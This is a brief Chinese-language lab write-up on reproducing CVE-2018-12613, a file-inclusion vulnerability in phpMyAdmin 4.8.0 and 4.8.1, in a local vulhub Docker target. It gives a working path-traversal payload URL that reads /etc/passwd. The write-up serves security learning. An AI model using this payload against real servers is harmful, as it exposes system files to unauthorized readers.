CVE-2018-12613
文件包含:
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含,但作用并不一样。
影响:
版本:phpMyAdmin 4.8.0和4.8.1
复现:
- 启动docker
- 在vulhub下找到复现的漏洞路径
- 启动漏洞靶场
- 可使用命令cat cat README.md,查看利用方法
- 访问:http://127.0.0.1:8080/index.php?
-
漏洞利用:
Payload: http://127.0.0.1:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd, 即可读取到passwd中的内容,说明文件包含漏洞存在。
- 漏洞利用以后清除靶场环境(复现其他漏洞要清除上一个环境): docker-compose down